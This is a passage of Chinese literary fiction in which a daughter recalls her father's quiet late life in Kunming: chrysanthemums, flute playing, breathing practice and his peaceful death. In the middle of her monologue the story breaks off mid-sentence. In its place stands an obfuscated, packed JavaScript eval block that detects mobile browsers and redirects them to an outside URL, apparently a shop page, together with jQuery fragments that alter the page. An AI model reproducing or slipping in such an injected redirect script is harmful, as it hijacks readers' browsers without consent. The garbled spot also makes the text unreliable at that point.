人群散尽，林间小屋只余四人。云木香阿姨也留下了，泰迪乖乖地跟在她脚边。四人本想移步老周常吹笛的隔壁亭中小坐。但此刻，亭子里有一个人独自拉起了小提琴。水光把琴声映得很清澈。四个人一只小狗便没有去打扰，坐在林间小屋，静静听了一会小提琴。那是《梁祝》。二更在梁祝婉转的柔声中，想象着老周过去在此吹笛的画面。给歌友会的演唱者伴奏时，是和乐，独自在亭中吹笛时，他独乐。
此时的麻栗坡开始起风了，麻栗树比刚才人多时明显有了不同，果子们加速了下落。
“他浇花的水，他叫它，‘快乐水’。是院子里他浇花的水壶上，贴了标签纸，上面写着‘快乐水’。其实就是自来水。”石龙芮笑着说，“你看，他在昆明这十年，过得挺活泼的。”
啪叽，一只麻栗果子新落在地上，滚到二更脚下。二更捡起来。麻栗的果实和外壳是分开的，外壳带刺，一面看像海葵，另一面看像太阳。果子握在手心里，二更忽地生出了一段记忆--它来自此刻说话的石龙芮。
- -
周至柳来昆明后，住在一栋两层三角屋顶小红楼里。周边的小楼，基本上都是茶铺。父亲相当于在一条老街上租了个适合做铺面的地方，自己住。她一直不太明白，父亲为什么要住在这里。
街上几家老式的茶铺与茶楼，安静雅致，有在老街上呆了多年逐渐养出来的生活气息。倒也有三家是年轻人开的新式茶水铺，不过，装修风格默契和前辈们保持了一致。石龙芮来的第一天，碰上昆明降温，一家叫“菩提茶野”的新铺子门外挂着牌子，粉笔写了一首小诗。
《寒夜菩提暖》
寒夜风冷，菩提茶暖。春风柔和，温息绕心。
这街，确实有点意思。后来，石龙芮发现，她每次出来或是回家，街上都有人，但又没有太多的人。茶铺嘛，来的人不多，但每日总有那么一些客人过来喝喝茶、摆摆故事。周至柳不会寂寞，也不会觉得被过分打扰。
每座茶馆的院里都有一些植物，它们大多被摆在门前的台阶上，常见的有天竺葵、仙人掌、朱顶红、紫叶吊篮。一家开得最久的老店门前，一品红竟然能够长成一棵树。一家年轻人开的新式茶楼门前，放着全套侍弄植物的工具，有园艺手套、小铲子、花土、椰砖、花土整理垫，看上去也许下了一些关于植物的长久志愿。卡在中间的那几家开了两、三年不老不新的店铺，通常在长势不错的植物中，会夹杂着一、两个有点蔫吧的小可怜，也会有一两个空盆。这很正常，四季流转，植物有自己的轮回，有时好，有时坏，慢慢养，还有起势。这些静静放着的空花盆，关乎长情、耐心，一些植物在它怀中衰老，一些植物也会在这里新生。石龙芮渐渐明白，时光就养空花盆里。
周至柳也在门前和院子里养花，那只快乐水的水壶上的字体，是用美术勾线笔仔细写出的柳体。父亲的字，还是那样好。
周至柳做学者时，研究方向是古代农学发展。来到昆明后，这里每年金秋，几个公园都有菊花展。他因此爱上了菊花。几年下来，他整理出一个全是菊花的相册，题了字，“携壶酌流霞，搴菊泛寒荣。”
石龙芮翻开相册，就被这乱花渐欲迷人眼的盛大花谱惊诧到了。她从没想过，菊花可以长像螃蟹脚、像空心薯条、像挂面、像昆虫的触角。菊花原来有千万种姿态，她能理解的，还有彻底超越她想象力之外的。
比如这一朵吧，像自然派的舞蹈天才，依循身体最自然的需求，伸展，探索，张扬，只在花瓣的收尾处，留有一点点恰到好处的收敛。一朵花开得恍若一支优雅的舞蹈，有篇章的顺序、情节的舒展、适时的收尾。而那一朵，像优雅女性盘起来的发髻，自然地垂下几缕发丝，还带着烫卷过的痕迹。盛花期过了，她有些倦怠，发髻有些松散，边角不再十分整齐，但依然十分美好。当然，也有如元气饱满的少女那般气质的，它们往往不喜规整，尽显天真，不讲求秩序，好摆弄拳脚。
菊如美人，各有性格。有的头顶一片叶子，遮一遮娇羞的心。有的含苞未放，花瓣还在蜷曲着，像小孩子的乳牙，又像雏鸟的头锁进母亲的羽翼里。有的雍容华贵，但又不让人见她最真切的面貌，只用一条条花瓣向你伸出邀请，去探索色彩的奇妙渐变。有的并不耀眼，花瓣层层叠叠，但再小的花瓣，尾端都能承接住精小的水珠，都能显现出它生命排布的特色。
无论是热烈的，茂盛的，还是繁密的，奇异的，每一朵菊花都是单头的，都是独自生长的，每一个都充满了生命力。但它们又可以这样被摆放在一起，热热闹闹的，谁都不干涉谁的盛开。
石龙芮猜测，这大概也是周至柳迷恋菊花的缘由。父亲从青年时期，就是一个喜爱独来独往的人。只是年轻时要背负的东西太多，不得不在人群里周旋。年老了，离开了利益场，他反而可以更自由了。人一放松，天地自然宽广，此时的他，一方面，能够在小亭里独奏，也能从容地为朋友们伴奏了。
因为爱菊，周至柳与黄越山成了好友。
石龙芮见过黄越山，一个笑起来眉眼很像弥勒佛的大叔。他精通花草培植繁育，是云南省农科院的专家，很擅长做菊花的杂交。他老婆憎恶他爱菊花更甚于爱家，无奈、失望交杂之中，带着孩子走了。黄越山因此常年独活。他喜欢去郊野找野生的菊花，因为这些菊花有明晃晃的金黄色，用这种艳丽的颜色跟其他的菊花进行杂交，杂交出的品种便有了明艳的渐变色。从黄昏到余晖，再到彻底日落之前的任何一种色调，都能从他手中实现。
他是最会和菊花聊天的人。有了他，周至柳才见识到很多不同种类的菊花，过上了案几上供菊花的清雅日子。周至柳用自己的方式表达了感谢，黄越山想做一本中国菊的花谱，周至柳特供了一版柳体手抄版。在书写半江红树、华峰烟雨、凤凰振羽、清江碧波、国华越山、玉龙闹海、灯下武娘、盘龙尽染等这类菊花的雅号时，周至柳的心中，也盛开出一场菊的宇宙。
因为要好，黄越山一度搬到了老周隔壁，他们把院子的围墙拆了一段，改成了一排毛竹。天然的屏障够亲近，也有分隔。如果要找对方，就拍竹子，竹子嘎嘣嘎嘣嘎嘣地响，替人说话。老周知道他在叫他了，就出来，两人一起去翠湖遛弯儿。
翠湖旁边有一棵枝干粗壮的香樟，很体贴地伸出了一枝健壮的分枝，有一小段几乎与路面平行。很多人喜欢把它当单杠用。两个老头走到树下，会伸长手臂够一下，打个滴流，再下来。粗壮的树干高度刚刚好，它不在乎两个老顽童的日常嬉闹，像一个母亲看着两个孩子打闹。
周至柳还跟着黄越山学会了一些，不算好的毛病。他们路过一株铁树，黄越山会薅一根老了的针叶，到了没什么人的地方，一边看水，一边当牙签来剔牙，把吃米线塞进牙缝里的肉丝踢掉。如果是以前的周至柳看到这样的画面，或许会整个人崩溃掉。然而现在的他，会跟着身边可爱的朋友也薅一根针叶，也找个没人的地方，一起剔牙。
- -
“他是真的变了”，林间小屋中，石龙芮感慨道。
“我来看他时，打开冰箱，都是香香的，总是有新鲜的水果。这是一个歌友教的。买新鲜水果，放在冰箱里，冰箱里干净清香，人也是清醒干净的。还有人教他去咖啡馆问店员放一些咖啡渣，放在衣柜里、卧室里，万一人因为年老新陈代谢慢，生出一些味道，咖啡能遮味。我收拾房子时，发现厨房里，调味料都写着标签，水壶上写着‘人生快乐水’，浇花的白色水壶上写着‘快乐水’。这大概也是哪个朋友教的吧。
那天，我看着他和一个正在用竹叶编大扫把的阿姨在聊天。也不算聊天，他们不认识，他致死默默看着她编，偶尔问几句。他还有个朋友，老唐，喜欢在公园里用很大的毛笔蘸水，在地面上写诗词。他们经常一个人写字，一个人吹笛子，相处得很和谐。想不起来写什么了，就问他。他就抄好一张纸，带过来给他写。“吾亦澹荡人，拂衣可同调。”老唐看不懂，但老唐愿意写，这也很好了。
我觉得我爸这一点很好。我看他们学院里很多老师都高高在上，有种‘我当了个高知，就厉害得不行了’的臭脾气，那是我最讨厌的学者的类型，骨子里就看不起普罗大众，觉得他们要被普渡、要被教化、要被启蒙。我妈就是这样的。她从来不跳广场舞，觉得那些阿姨们‘沉迷于低级趣味’，不如她高雅，去跳广场舞，就是拉低身价。放屁！我真不知道她哪里来的傲慢。结果呢，人家老太太们个个精神头好得很，她年纪不大一身病，死得很早。要我说，她要是能和人家跳广场舞的那些阿姨们一样，每天动动胳膊动动腿，接接地气好好生活，才不至于不到60岁就走了。
我爸不同，我爸是个心很软的人。我小时候觉得，我爸应该是我妈。他是个很温柔的人，心软到有时候路边看见保安踩在高架子上遮棚子，都忍不住停下来看一阵，生怕人家踩不稳掉下来。我常笑他操闲心。长大后我明白，这其实是我很走运，我碰上了一个内心温和，十分良善的父亲。但他也有缺点，心里想太多，五、六十岁时还经常失眠。心思太细腻了，忘不了一些小事，放不下，闲不住。
好在，这些年，他有了许多爱好。最有用的大概就是和云阿姨她们一起听歌、伴奏了。听老歌，吹笛子，那个露......lullaby，我想，他已经找到了吧？他这几年，睡眠质量很好。他执意不回北方，最初我以为他有老伴。后来我才知道，是他自己有了露落拜。”石龙芮用余光扫了扫云木香，多少有些遗憾的意味，“所以，真的要好好谢谢云阿姨。”
“除了唱歌，他还喜欢散步”，石龙芮又道，“昆明也是很适合散步的城市了。不过，他散步时，有时候和人一起，有时候自己。他自己出门的时候，从来不和我说会去哪里。”
啪叽，又一只落果滚到了二更脚下。她像得到了某种神秘的通知似的，再次俯身捡起，将果子轻轻握在手心。这次，一段关于“呼吸”的记忆，来自于周至柳。
- -
从北京到昆明两千多公里的距离，不算远。三、四个小时的飞机，就到了。至少周至柳第飞来昆明时，不觉得远。
京城，是他的败场，虽然他没有错。那场学术场里的纠纷，起初与周至柳毫无关系，只源于他所在的高校里一位德高望重的教授的风流韵事。而后，又牵扯他麾下弟子，另一位老师长期掌控学院权力、奴役博士生为免费劳动力的纠纷。
他所在的学科，本就是一个小众的农学学科，师门多是姻亲关系，利益更是关联在一起。一时间，师门内外，乃至学术期刊编辑们，都要为各方大佬证言，舆论战场一团糟。周至柳是第三门派，又称无门派，因为一直研究几位历史上曾被打压排挤的人物，研究方向不主流，研究资金不充足。作为学院里的边缘人物，周至柳并不想参与是非。
岂料这唯数不多几个不发声的人，经过一番有心人的运作，反倒是成了转移舆论焦点的靶子。强逼站队的形势下，周至柳不想说话，不做任何解释，不求任何人帮忙，索性远走云南。周至柳告病远走之后，斗争两方仍撕扯不断，最后两败俱伤，一个专业分成了两家研究所，分类于不同的专业大类之下。原本在高校排名榜上数得上的专业，有了颓然之气。
周至柳不涉纷争，却也落了哮喘病恶化的结果。心有郁结，加上身体欠佳，他独自搬到了昆明，也谢绝了所有故友的联络。
起初，什么事都不做，只是散步。天暖和的时候，他就用饭盒带一个削好的苹果，天凉的时候，就带一壶老白茶。
寻常一晚，来到翠湖公园，他遇见了一个在桂花树下唱歌的人。树下坐了许多人，听着他唱着几首老歌，唱得并不十分好听。唱歌的人却丝毫不怯场，听歌的人也不说什么。周至柳在岸边听了很久，很羡慕他的从容不迫。
坐了一会，他起身，往更僻静的地方走。湖边香樟树倒映在水中，像一个巨大的晃动的西蓝花。他朝着那一排西蓝花，往里处走，渐渐地，歌声便听不见了。湖边越来越静，路灯昏黄，不仔细看，轻易发现不了什么人。
所以，他差点碰到一个人。
有一个人打坐，呼吸很轻，轻到轻易不会被人发现。周至柳连忙道歉，幽暗灯下，看清楚了，那是一位女士。
对方坐起来，歇了一会儿，才缓缓说道，没关系。这几秒钟，周至柳十分紧张，呼吸异常局促。
“你呼吸声很重啊”，女士道。
“但您呼吸声太轻了，我都没有注意到。”周至柳又一次道歉。
“呼吸可以慢慢练。练着练着，就轻了。”女士说。她眼神似乎也不错，看周至柳年纪也不小了，更实在地说，“对一些疾病也有帮助。”
机缘巧合下，周至柳有了一个“师傅”，教他呼吸。
人生在世，就在呼吸之间。很多人并未觉得呼吸有多重要，呼吸作为一种生存的习惯，早已如空气一般，“不存在了”。但事实上，很多人也会被错误的呼吸模式不自觉地困扰着。疾病、环境、情绪、营养等多种元素都会造成呼模式的改变。错误的呼吸方式有可能会牵连出忧郁、焦虑、恐慌等情绪，或引发头痛、肩痛、腰痛等身体各部位的疼痛。
“空气和食物和水都要重要”，师傅说。“空气没有重量，难以测量，所以最容易被忽视。就像情绪一样，没有重量，然而人类的很多苦痛，是勾心斗角导致的不良情绪导致的。所以，我们要和空气和平共处，我们要好好学习呼吸。”
第一次跟着师傅练习打坐，周至柳学会了专注此刻，用五官感受周围，用眼睛看，用耳朵听，用舌头尝，用鼻子嗅，用身体去感触，忘掉这一生积累的分析和批判，回到第一次看到世界的婴儿状态。睁开眼，他感到无比放松。他开始重新呼吸了。
针对他的呼吸疾病，师傅也提供了一些更日常的训练呼吸的方法。第一，打太极拳，并练习呼吸，逐渐地达到让别人觉察不到呼吸，呼吸不会打扰到自己的程度。
第二，睡前练习腹式呼吸。摸着自己的肚子，感受吸气时肚子轻微浮起，呼气时肚子缓缓瘪下。起初，周至柳掌握不好，师傅就带他在翠湖公园里找小孩子，远远地细细观察宝宝车里睡着的小孩子的肚子，一起一伏，完美的护腹式呼吸，衣服上的小动物耳朵也会随着肚子的起伏，微微张开，缓缓落下。周至柳在睡前都会回想小宝宝的样子，自己不断地练习腹式呼吸，甚至，为了复刻小宝宝衣服上小动物耳朵一张一合的姿态，他会在肚子上放个小玩偶。困扰他多年的失眠、浅眠问题，竟然在这一呼一吸之间，得到了极大的缓解。
第三，屏息练习，可以在散步时进行，也很适合周至柳。他在走路呼吸比较平稳的节奏里，试着屏息2~5秒，接下来再正常呼吸，如此反复练习。师傅说，善行无辙迹，尽量轻轻落步，保持身体的轻盈，同时调整呼吸，尽量全程鼻呼吸。过去，在京城，周至柳很少无忧无虑的散步。现在没事了，整日的时间都可以拿来散步，他心情舒缓得很。一边散步，一边练习呼吸。一会儿，看看园丁用浇花的大水管喷出一道彩虹，一会儿，看看湖中心划船的清洁工人熟练地用鱼篓子捞落叶，时不时地，脑子里还总有美妙的想法冒出来。这一点，不爱散步的人，一定理解不了。
待到周至柳把这三种练习方式都掌握了的时候，师傅建议他，“那就再唱唱歌？或者，学个乐器，笛或者箫？”这话说完不久，他就再也没见过师傅了。两人的师徒缘分，开始得很突然，相处得很随意。总是周至柳找来，遇见了，便聊几句。都是中肯又实用的话，凑在一起，短短几句就说完了。至始至终，周至柳也不知师傅的姓名与更多其他具体的信息，旁人也不知道他有这样一位师傅。
也就是他了，这样也能认到师傅。周至柳就是这样的人，所谓君子之交淡如水，大抵如此。他年轻时喜欢爬山，有时在山头上，见到不远处的山头上也坐一个人。若是别人，或许就叫一叫，打个招呼。若是在西南的少数民族里，大家肯定要喊一喊，对一对歌。可周至柳呢，不言不语，就只和人家这样彼此坐着。就这样，他竟然也交到了一位道友。两人差不多都会在每月的某一天爬山，一个爱爬这西边的山头，一个爱爬东边的。两人偶尔相遇，认得彼此，也不言不语，就各自坐在山头上，坐一会儿。偶尔，朝彼此挥一挥手。
周至柳就是一个能交到这种朋友的人。不知来处，不问姓名，也是朋友。若反推，或许，他如此交到的朋友与师傅，也是别样的人吧。
- -
“我也喜欢跟着他散步”，石龙芮说。二更眼前的画面，又适时消散了。“但他似乎，不太喜欢和我一起”，石龙芮无奈地苦笑道，“只有偶尔为了晒晒太阳，打坐的时候，勉强愿意带一带我。”
“他喜欢在文庙正中间的小广场上晒暖。心中有事时，就来这里。有些事情，就是突然在这处广场里晒着太阳想明白的。所以他说，这里风水好。风水好？我不是很相信，因为小广场旁边就是文庙的公厕，虽然很干净，但总让我对这个结论不是十分信任。
但我有一次，有个设计作品想不太灵通，无计可施了，就跑去那里坐着。广场人不多，是个周末，隔壁文化室里有人在排练歌曲，名字叫‘打歌’。名字有点好玩，但旋律很柔和。
那天，我闭上眼睛，让阳光晒着自己，开始在眼前的黑幕里，去试着重新修改那张设计图。感受眼前各种自由散漫的光点，大脑变得干净了许多，然后我真的找到了解决方法。那时，我在设计一款荔枝花鸟图样的耳钉。要鸟，又不能只有鸟，鸟儿们要站在挂满红果子的树枝上。左右不要对称，一只鸟将将落下，踩着细枝起伏，如水中浮舟荡漾。一只鸟轻琢玉珠，像一只太阳鸟发现了一颗刚巧裂开了口子露出白肉的荔枝。
睁开眼，我前面有一对老闺蜜，一边聊天，一边吃酸奶干。很自在。我要走时，还有人来，彼此打招呼。一人说，‘今天你来得晚啊’。另一人答：‘还好，晒个太阳底子。’原来还有太阳底子这种说法。
那时起，我也偶尔会打打
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294822|198549||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
坐。”
啪叽，又一只落果。这次，换姜籽去捡，捡起来拿在手中抛了两个来回，又塞回了二更手中。眼前的画面，换了一幕，这一次，似乎是第三视角。
- -
每个人内心都有一场或者几场悟道。周至柳悟道的龙场，其实不只在文庙，也在翠湖的湖心里。这悟道是以很怪异的方式出现的，周至柳从未对任何人说起过。
晒暖，打坐，周至柳是会选地方的。除了文庙前的水上平台，他还选了翠湖里的一只船。
周至柳喜欢翠湖，岸边公园的座椅时常被人来人往地占着，于是他每次去，都到湖里租一条船，只划拉几下，到日光下。看水，看日光。
周至柳停船晒暖的那片湖边，水中耸立着十几棵池杉，在湖边形成一个一些相对安静的庇护区，水鸭经常来这里睡觉。它们把头埋进脖子里，像一个圆润的菱形。屁股顶尖尖，折着的脖子尖尖，两次翅膀鼓起来也尖尖。池杉的根部与水中倒影合一，也是一个菱形。毛茸茸暖烘烘的小菱形，嵌入了褐色的森林母亲的大菱形里。这里的安静，容得下一些好玩的拼图游戏。世界短暂地在菱形的重合之中，安静下来，不会有人打扰。
他看宁静的水面，看树的倒映与疏忽一闪的飞鸟的影子，看一只白鹭停在水面，与倒映合一，乍看像一只开合的蚌。看常绿银桦与桃红的三角梅的倒影之舞，看金黄的银杏揉着日光一起投入水中，惹出一圈又一圈波光粼粼的变色涟漪。这一年之中，一张船，一个人，四时之景不同，动静皆宜。
由于他年纪大了，一直不划船，怕被人误会身体不舒服，只能手里随时带两个核桃，一直盘一直盘。后来核桃也不明显，干脆换成两个水晶球。水晶球在日光下闪光，于是，翠湖里就出现了这样一个画面，一个老人，手里俩球，老头白发闪银光，水晶球折射十字花光彩。远远看，湖中心的画面，像是哪家老神仙下凡。
除了船，他还办了湖上充气水球的年卡。圆柱形的水球，中空，小孩子可以爬进去玩，手脚并用推动水球前进的水上游戏。周至柳会像个小孩子一样，从中间的洞里爬进去，然后躺着，晒太阳，任其在水里飘荡。
看场子的大叔原本见一个大人还是老人，是不给进的。结果看他只是晒太阳，甚至定时来，像遛弯点卯一般，渐渐也就当个朋友处了。水球的一边是用绳子固定在岸边的，大叔还给他留了最边上的那只，湖面开阔，几乎不会被其他的水球，尤其是小朋友努力滚动的那几只水球打扰。他可以安安静静地在水上晒太阳。
无论是船，还是水球，都像湖中的一座小巧的孤岛，被太阳晒得很暖。周围游客们的小船也很闹腾，时不时经过。有时候，是一对小情侣，有时候是一家人，老的小的都有。大家的架船水平都一般般，他又停船不开动，难免被偶尔碰到。点头，示意，没关系，彼此相遇，又慢慢远离。其实，他这艘小船也不冷清。他和他的小船，随这个世界的水波一同呼吸。
在这样，某一日，他又晒暖，停船于湖中，时不时对这个世界点头致意。落日归家后，周至柳在这天晚上安详地离开了。
他的呼吸逐渐缓慢，直到彻底地平息。
呼吸，是一个人和自己沟通的最隐秘，又最日常的方式，它甚至比语言还要贴己，直击生命的本质。从生命之初，它就和人建立了紧密的关联，终止于人的离去。在云南，周至柳重新学会了呼吸。在一呼一吸之间，崩坏的内心秩序重新建立起来，内心的郁结缓缓化解，对真善美的体悟又变得鲜活。
呼吸，是一个人陪伴自己、重塑自己、安慰自己最好的方式。会呼吸的人，永远不会寂寞。如果一个人要找一首lullaby，一首最终极、最简单的哄睡曲，平复内心的思绪，抚慰平生的不甘，翻越过往的种种，哪怕只是为了一夜好眠，不妨，试试呼吸，重新呼吸。
- -
二更感悟着这段经历，她觉得低语倾诉的人有些熟悉，却又无法判断究竟是谁，什么样子，何种气度。她在这段奇妙的往来中，不自觉地放慢了呼吸的频率，这样简单又极致的一呼一吸，彷佛一场好眠，让人的身心无比放松和澄澈。
“他是憋了一口气来昆明的。还好，这口气，终究是在这里，松口了，吐出来了。”石龙芮幽幽道。
父亲去世后，石龙芮请了假，在父亲住过的家里小住。
院里有一把这几年来她躺过的最舒服的椅子，以至于，忙于处理后事的她竟然在这里躺着躺着就睡着了。石龙芮做了一个很悠长的梦。梦中事，醒来已忘，只觉得疲倦尽消，呼吸平顺了许多。自父亲去世以来，她在这里，睡了一个最舒缓的短眠。
醒来，已入夜。深蓝色的夜空里，几抹浓淡有致的白云，白得不像话，不像真的，像老天爷在撒谎。多天真的大自然啊，每天都像新的。她好像明白了父亲在昆明活得开心的原因。所有的云南人都会跑跑跳跳，太阳光下跳舞再正常不过了。一年收尾，活干完了，钱赚到了，穿着好看的衣服去外面跳舞，再正常不过了。舒适的气候，好吃的牛羊肉，甘甜的小白菜，他还有一个好友团，几位可爱的好友，甚至，不为她所知的际遇。父亲把这口气吐出来之后的生活，应当是可爱的。
林间小屋里，石龙芮娓娓道完老周的过往。几只落果在二更手心里摩挲，摆成一排。姜籽又递给二更一个落果，壳有些扎手，接过来时，二更灵光一闪。这次，眼前的画面，来自她自己。
- -
二更的至亲，母亲和姥姥在她念大学之前就已经都去世了。她很早就封闭了关于死亡的神经。直到某一次，救助一只气息奄奄的流浪猫，输液三天仍未救回它的那天晚上，二更身上的某个开关被打开了。
是恐惧，一种抽象的恐惧，任何一种美好的东西都可能离开她的那种恐惧。说来也怪，这并不是什么惊天大事，比不上至亲的离世、信念的崩塌，但它就像是没有任何预兆撞击到汽车挡风玻璃上的一只鸟，炸开了二更封存许久的关于失去的恐惧。她失眠了。
为了安慰自己，她不断地念着一句话，“会有神灵来爱我，会有神灵来爱我”，思绪渐渐放空，她放松呼吸，在纯粹的一呼一吸之间，终于睡去。
哦，原来，她也曾经，有过这样的露落拜。只是，当第二天醒来，一切还在，理智重新占领思绪时，她匆忙地忘记了昨夜，她曾习得的重要的一课。
好在，今日，她温习了。至此，就不会再忘了。
- -
半个月后，在云木香的牵线下，桂花树下的那个合唱团与麻栗果果好友团，在石房子举办了一次联合演出。
两个合唱团经常聚会的地点不同，歌友们的喜好也有点区别。麻栗果果喜欢唱舒缓老歌，很多都是经典言情剧的金曲。桂花树下爱唱武侠金曲，也唱粤语歌。两个合唱团常在市区老年歌唱比赛相遇，久而久之，彼此相熟。
这次联合演唱会，不只是为了纪念周至柳。两家合唱团每年都要送走几位成员。有人走得从容洒脱，像老周这样，也有人在病痛中受累。生死有命，谁都逃不了，像老歌里唱得那样，问心无愧就好。在合唱团里唱了弹了多年的老人们，都渐渐地唱出了这份感悟。
石房子的院子里，没有麻栗，也没有桂花，但歌唱声如落花落果一般，洒落一地。麻栗的果壳像太阳外围的光焰，桂花像金黄色的馅儿，合起来，就是一颗明媚的太阳。姜籽依照这样的灵感，设计了一款歌友会纪念章，送给了演唱者们。
还有一份礼物，是姜籽单独送给石龙芮的。
“周至柳名字里的柳，是乔木。柳树可以长得很高大，但同时，细长柔韧的柳叶很招风。云贵高原，风大，很多树都要比平原地区更努力地抗风。每每有大风预警来，园林部门都要提前修剪道路两旁行道树的侧枝，比如蓝桉，就时常被砍到头秃。但柳树不太一样。柳枝柔软，比其他树木更能应对风。”姜籽说着，取出一幅风中柳，递给石龙芮。她相信，周至柳一定在云南的风中，释然了。在大地仁厚人也朴素的地方，或许是翠湖边的风，或许麻栗坡的雨，总之，他一定找到了露落拜。
演唱会进行到了最末，人声散去，响起一首民乐合奏曲《翠湖春晓》。
演奏者中，一个人抱着琵琶，已经秃顶，头皮上仿佛是四面环山一般，露出一池光亮的池水，这是老白。另一人穿着蓝色外衣，提着一把二胡，带着老花镜，长脸，颧骨突出。这是老石。琵琶清亮，二胡悠长，在一场聚会尾声互诉衷情。
石龙芮静静听完了全场。她记起父亲刚来云南时，提笔写字，“闲上山来看野水，”下一句，迟迟未写，那时，还有郁结。不知何时起，“忽于水底见青山”，已挂在了书房。她眼前忽然回到了小时候父亲带她去公园蹬游船的画面。在小女孩的眼中，所有登船的人都很快乐，连带着水波纹都快乐，这片湖也快乐。
这一刻，她在乐曲中看到的那幅画面，就是那样。阳光在银杏叶间嬉戏，湖水透亮，微波有光。她的呼吸，开始变得快乐和轻盈了。